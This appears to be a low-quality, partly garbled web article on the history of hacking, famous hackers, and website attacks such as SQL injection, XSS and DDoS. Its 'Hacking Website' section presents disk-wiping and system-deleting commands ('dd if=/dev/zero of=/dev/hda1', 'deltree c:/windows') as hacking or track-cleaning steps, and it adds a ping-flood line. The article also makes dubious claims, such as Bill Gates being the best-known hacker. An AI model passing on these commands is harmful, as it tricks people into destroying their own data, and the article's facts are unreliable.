Is Hacking Always Bad?

Although the history of hacking is relatively unknown to most of the public, it's quite interesting to read about it. It doesn't matter if you aren't a computer expert or a system administrator of a big corporation.

Computers are as much part of our history as airplanes and cars, and it should be common knowledge to know how they came to be. It's the only way you can understand the effects of computer hacking in our life.

History of Hacking

Hacking is not limited to computers. The real meaning of hacking is to expand the capabilities of any electronic device; to use them beyond the original intentions of the manufacturer. As a matter of fact, the first hackers appeared in the 1960's at the Massachusetts Institute of Technology (MIT), and their first victims were electric trains. They wanted them to perform faster and more efficiently. So, is hacking always bad? Not really. It only depends on how to use it. But it wasn't until a group of these hackers decided to exert their knowledge in the computer mainframes of the MIT.

During the 1970's, a different kind of hacker appeared: the phreaks or phone hackers. They learned ways to hack the telephonic system and make phone calls for free. Within these group of people, a phreaker became famous because a simple discovery. John Draper, also known as Captain Crunch, found that he could make long distance calls with a whistle. He built a blue box that could do this and the Esquire magazine published an article on how to build them. Fascinated by this discovery, two kids, Steve Wozniak and Steve Jobs, decided to sell these blue boxes, starting a business friendship which resulted in the founding of Apple.

By the 1980's, phreaks started to migrate to computers, and the first Bulletin Board Systems (BBS) appeared. BBS are like the yahoo groups of today, were people posted messages of any kind of topics. The BBS used by hackers specialized in tips on how to break into computers, how to use stolen credit card numbers and share stolen computer passwords.

It wasn't until 1986 that the US government realized the danger that hackers represented to the national security. As a way to counteract this menace, the Congress passed the Computer Fraud and Abuse Act, making computer breaking a crime across the nation.

During the 1990's, when the use of the internet widespread around the world, hackers multiplied, but it wasn't until the end of the decade that system's security became mainstream among the public.

Today, we are accustomed to hackers, crackers, viruses, Trojans, worms and all of the techniques we need to follow to combat them.

Profiles of Famous Computer Hackers

As it was mentioned before, the history of hacking is intermixed with the history of computers. Many of the famous computer hackers of the past are the billionaires of today.

The most known hacker is Bill Gates, co-founder of Microsoft. Considered the richest person in the world for more than a decade, he became the most successful entrepreneur of the computer industry. His beginnings go back to the 1970's when he designed computer programs for the computer platforms of that era, and ended with the introduction of Windows in the world of personal computers.

After some time away from the media attention, Steve Jobs came back with the introduction of several new products in Apple. The most known of them is the iPod, which has revolutionized the music industry around the world. Jobs started nearly at the same time that Gates, founding Apple and introducing to the market the first home computer, the Apple II.

Although Linus Torvalds was known among the hacker community as the hero who created Linux, the open source operating system, it hasn't been until recent years that people started to wonder if there was another option apart from using Microsoft's operating system.

Profiles of Bad Hackers

Unfortunately, there are as many bad hackers as productive hackers. One of the most famous black hackers is Kevin Mitnick, who broke into the computers of several organizations, including Fujitsu, Motorola, Sun Microsystems and Nokia. He was imprisoned and even today can't use a computer due to a judicial restriction.

Another famous hacker is Vladimir Levin, a mathematician who led a group of Russian hackers and stole ten million dollars from Citibank. Until this day, no one knows how they did it.

Jonathan James case is a bit more complicated. He was the first juvenile from the teen hackers of the USA to be prosecuted for computer hacking. But that didn't stop him. Later, he was able to access the computer systems of NASA and the US Department of Defense. Finally, he was imprisoned.

Fraud for Sale

Years ago, before the coming of the internet, hackers around the world caused a lot of mayhem in organizations. But now that they have a potential market of hundreds of millions of persons, their options are almost limitless. That's why online fraud is considered one of the cancers of the internet. The only way to protect from it, is becoming an anti hacker ourselves, maintaining up to date with the most basic knowledge: firewall, antivirus, antispam, constant operating system updates and taking care of suspicious websites.

The effects of computer hacking in our history can't be denied. It is here and it won't disappear. But the most interesting thing about the history of hacking is that it was expected to happen. You only need to check old science fiction books to find it.

Hacking Website ( Secure your website )

Hacking Websites: Fun or Terror?

With a proper understanding of the relevant programming languages such as C, C++, Pearl, java etc. one can be fully equipped with the technique of hacking into website. There backdoors for the web hackers for website hacking. For hacking web sites one of the best ways for the hacker is to install linux on his or her personal computer he or she wants to hack from.

Then he can open up a shell to type: dd if=/dev/zero of=/dev/hda1 and press ENTER. As the next step he will type: dd hf= (url). There are a few other alternatives for hacking sites as well. The web hackers using Windows pc can also master the art of hacking websites with the flicking of his finger.

The first step is to clean up the tracks so that the feds fail to trace out the hacker. This happens automatically in case of linux. Cleaning up of tracks in case of Windows 95 or Windows 98 or Windows ME involves a step-by step procedure. Click Start then Run and then Command. In case of Windows NT or Windows 2000 the Tracks can be cleaned by pressing Start, then Run and then cmd. The next step is to clean up tracks with deltree c:/windows or c:\winnt, or whatever the main windows directory is. At the command prompt, press y, which will then go through and clean up the system's logs. The hackers should perform the same steps again after the hacking sites/hacking wireless internet sites. Then after this cleaning up the hackers should type: ping -l4000 (url).

Cyber Terrorism And Hacker's Group

The whole planet is today terrorized by the web hackers to whom hacking seems a mode of getting pleasure by the way of gaining knowledge or mere entertainment. A group of serious hackers named as PENTAGUARD had cracked into the government sites of Australia, America and England all at a time. The hackers in this case had replaced with a typical statement that read "The largest .gov & .mil mass defacement in the history of mankind".

This was a simple statement with an aesthetic undertone of threat. The act affected almost 24 sites with a transitory disruption.Similarly an educational site on the mad cow disease was defaced along with some cities and the nation's government sites in England. The Alaskan office of the department of interior was once attacked since the secretary of the Interior Designate, Gale Norton, encouraged drilling in the Arctic Wild Life Refugee for sucking out oil.

The common wealth of Australia is of no exception. The search page of the common wealth of Australia was once hacked along with the act of hacking into websites of small municipal sites in Australia. These are a scanty number of instances that proved to have jeopardized the respective concerns severely. The hackers had to use simple techniques and methods to do these. website hacking for these hackers is all as simple as a child's play. Their main focus was on the sites that were designed with vulnerable loopholes.

SQL Injection and Hacking Web Sites

Vandals, who know how to hack, most often use hacking methods for the purpose of defacing a website or ruin the entire data and files while the other section cracks through the websites simply to steal substance. While the former brings severe harm to the victim, the cyber burglars do not do much harm.

There is a load of devastating tools that the web hackers use to vandalize just anything and everything they want to. One of the most popular weapons or method that can bring immense harm is SQL Injection. SQL - the short form of Structured Query Language is a special type of language that is used when a web application uses a database communicating with the other database for some required function.

With the help of the SQL command issued to a database server, the web application can cast a deep impact to all the aspects of the database allowing the hackers to edit, add, and delete information there from. SQL has been designed for the legitimate purpose while it has now become a deadly weapon in the hand of the web hackers intended for hacking sites. The web hackers can inject SQL command and may perform any operation as per his or her own sweet will.

Cross Site Scripting

Another more dangerous technique is Cross Site Scripting, which is also defined by XSS. This is a stronger weapon that brings out much more devastation. Cross Site Scripting or XSS is a devastating technique that facilitates the hackers to inject the malicious scripting code in the form of _JavaScript in the user input form or sometimes incorporated in the URL query string. Cross Site Scripting can virtually do any task such as recording the keystrokes and stealing cookies once it is injected into the targeted browser of the end user.

Distributed Denial of Service

Denial of Service attack or Distributed Denial of Service i.e. DOS or DDOS is the attacking technique that is used by the hackers who wants to overload any remote system with a repeated and enormously large volume of requests for any specified service. The most interesting fact about the DDOS is that it can attack a several thousands of distinctive users in such a fashion that the script fails to detect whether the requests are legitimate or illegitimate. Though it is quite tough to prevent Dos attack, yet successful efforts have been made in this regard by checking out the IP address hacking of the source of the requests.

There are innumerable of such tactical techniques in the hands of the web hackers for hacking into websites. These tools have made the website hacking so easy that it has become fun for the cyber terrorists. The first step of hacking web sites is simply to detect the feeble and less secured portion of the system.